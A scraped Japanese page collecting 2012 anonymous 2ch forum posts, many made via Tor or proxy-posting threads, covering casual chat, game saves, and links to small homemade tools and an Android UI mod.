OCN規制被害者の会 2010年目 tor19.anonymizer.ccc.de(31.172.30.2)

826 :いやあ名無しってほんとにいいもんですね:2012/07/04(水) 02:37:46.40 発信元:31.172.30.2
>>815
因みに815の文章に別段の裏は設定してないので
的外れな勘繰りは不要

日常に起こり得る生 活上のやり取りの話ってだけ

これだけでアスペかどうかがある程度炙り出される

OCN規制被害者の会 2014年目 tor19.anonymizer.ccc.de(31.172.30.2)

989 :いやあ名無しってほんとにいいもんですね:2012/07/08(日) 06:33:10.84 発信元:31.172.30.2
江ノ島 恋人の丘

その昔、海にすむ五頭を持つ邪悪な龍が、島に現れた天女に恋をし、
改心の末に結ばれるという島の伝説(天女と五頭龍)があり、
ここで鐘を鳴らした二人は決して別れないといわれています。
ここで鐘を鳴らした二人は決して別れないといわれています。
ここで鐘を鳴らした 二人は決して別れないといわれています。
ここで鐘を鳴らした二人は決して別れないといわれています。

ここで鐘を鳴らしてからもう20年かぁ・・・
効果 は絶大なんだとシミジミ思うよ
http://goo.gl/FN5w4 (飛び先は単なるGoogle map)

OCN規制被害者の会 2014年目 tor19.anonymizer.ccc.de(31.172.30.2)

992 :いやあ名無しってほんとにいいもんですね:2012/07/08(日) 06:36:58.47 発信元:31.172.30.2
ちょっと違うな、20年前ったら龍恋の鐘は無かったかも知れん
鐘を鳴らしたのは10年前だったか
何しろ展望塔がまだ改装される前だった

OCN規制被害者の会 2018年目 p4019-ipbf4908marunouchi.tokyo.ocn.ne.jp(118.8.31.19)

664 :いやあ名無しってほんとにいいもんですね:2012/07/11(水) 18:35:43.03 発信元:118.8.31.19
http://bit.ly/Nqg2Nf

僕のリッちゃん!!! 律ちゃんとか紛らわしいだよ消えろおおおお

OCN規制被害者の会 2020年目 politkovskaja.torservers.net(77.247.181.165)

760 :いやあ名無しってほんとにいいもんですね:2012/07/13(金) 17:25:32.10 発信元:77.247.181.165
>>753
ああ誤解してた
自分とこの回線を他人に共有提供するかわりに
そとでもfon会員として同じfon 会員の回線を借りてどこからでも
ネットに入れる様にする回線共有コミュニティの事なんだね

プロバイダは嫌がりそうだね

OCN規制被害者の会 2065年目 p2042-ipbf5209marunouchi.tokyo.ocn.ne.jp(118.8.153.42)

738 :いやあ名無しってほんとにいいもんですね:2012/08/29(水) 23:14:16.38 発信元:118.8.153.42
韓 国は別に好きでもないし嫌いでもない、ただ隣国で厄介事抱えてるくらいの認識しかないかな
まあ嫌いでも好きでも程々にね

http://bit.ly/O2Qll4
で5大文明云々だけど韓国Wikipediaでも4大文明だから
公教育で本当に教えてる かわかんねすね。北朝鮮なら結構納得するんだがw

OCN規制被害者の会 2083年目 p2042-ipbf5209marunouchi.tokyo.ocn.ne.jp(118.8.153.42)

670 :いやあ名無しってほんとにいいもんですね:2012/09/18(火) 12:07:11.45 発信元:118.8.153.42
http://bit.ly/cOoRIb

SFCってもう20年以上前のハードなのか……つーかPS2だ ってもう10年以上前なんだよな
PS3が5年前で……

OCN規制被害者の会 2098年目 pw126210166238.5.kyb.panda-world.ne.jp(126.210.166.238)

問答無用でレス代行 107 シベリア tor18.anonymizer.ccc.de(31.172.30.1)

93 :いやあ名無しってほんとにいいもんですね:2012/08/06(月) 15:38:19.70 発信元:31.172.30.1
お願いします
【スレのURLhttp://toro.2ch.net/test/read.cgi/avi/1343704973/
【名前欄】
【メール欄】
【本文】↓
>>787
まだ残ってる模様
http://bit.ly/MYijlM

問答無用でレス代行 109 シベリア e0109-114-22-33-45.uqwimax.jp(114.22.33.45)

650 :いやあ名無しってほんとにいいもんですね:2012/08/22(水) 22:10:30.89 発信元:114.22.33.45
お 願いします
URLhttp://toro.2ch.net/test/read.cgi/handygrpg/1340279824/
【名前欄】
【メール 欄】sage
【本文】↓
25-2で詰んだ。これが魔槍に魅入られた者の末路か……

防具・回復禁止ナイトメア全☆3(未完)
http://www1.axfc.net/uploader/B/so/110033
打開できる見込みが無いのでもう上げる

終盤の数ステージは一定のパターンで動けば割と安定したので
やり直して動画を撮ってみた
SCENE24のは失敗なので序盤の動きの確認程度に

問答無用でレス代行 109 シベリア tor20.anonymizer.ccc.de(31.172.30.3)

795 :いやあ名無しってほんとにいいもんですね:2012/08/23(木) 20:57:38.30 発信元:31.172.30.3
よろしくお願いし ます
【スレのURLhttp://toro.2ch.net/test/read.cgi/tech/1345560110/
【名前欄】
【メール欄】
【本文】↓
しょうがないなぁのび太君は。
ちょっと作ってみてやったよ。
板を入れるとスレURL一覧が出ればいいんだな?
まず実行してみてこれでいいか確認しる
ソースも付けといたから
http://www1.axfc.net/uploader/Sc/so/372534

気軽に「こんなソフトありませんか?」 Part.149 IP表示なし、ID:dqHld3xh0

940 :名無しさん@お腹いっぱい。:2012/08/28(火) 15:06:36.62 ID:dqHld3xh0
>>934
C#で5分でツール作ってみた。
実行には.Netランタイム4が必要。(Windows7ならデフォでOK)
http://www1.axfc.net/uploader/Sc/so/373732

問答無用でレス代行 111 シベリア tor3.anonymizer.ccc.de(80.237.226.73)

184 :いやあ名無しってほんとにいいもんですね:2012/08/28(火) 16:26:18.21 発信元:80.237.226.73
よろしくお願いします
URLhttp://anago.2ch.net/test/read.cgi/software/1341460675/
【名前欄】
【メール欄】
【本文】↓
>>934
すまない、>>940はちょっとバグあったので消した。
直したのでこっちで。
http://www1.axfc.net/uploader/Sc/so/373746

問答無用でレス代行 114 シベリア tor19.anonymizer.ccc.de(31.172.30.2)

350 :いやあ名無しってほんとにいいもんですね:2012/09/10(月) 14:29:01.52 発信元:31.172.30.2
ねがいします
URLhttp://anago.2ch.net/test/read.cgi/software/1346324982/
【名前欄】
【メール欄】
【本文】↓
>>177
ExifUtil
http://dl.dropbox.com/u/104160853/exifutl.html

問答無用でレス代行 121 シベリア KD113159171242.ppp-bb.dion.ne.jp(113.159.171.242)

67 :いやあ名無しってほんとにいいもんですね:2012/09/27(木) 22:10:39.90 発信元:113.159.171.242
よ ろしくお願いします。

スレッドURLhttp://anago.2ch.net/test/read.cgi/smartphone/1347524869/101-200
【名前欄】
【メール欄】sage
【本文】↓
>>138 虫眼鏡はそんな大きさだよ。
検索キーも同じ大きさにしたいならこっちおすすめ。
https://www.dropbox.com/s/1tc7vy1b5tkvyh4/SystemUI.apk
ただし、ロック時に検索ボタンだけ残る(機能しない)のと、
ステータスバーの文字サイズ+トグル&光度バーが少し小さくな る。

バッテリーやトグルのアイコン差し替えにはシステムUIのどれと差し替えりゃいいんだ?

©satoru.net
Mail Twitter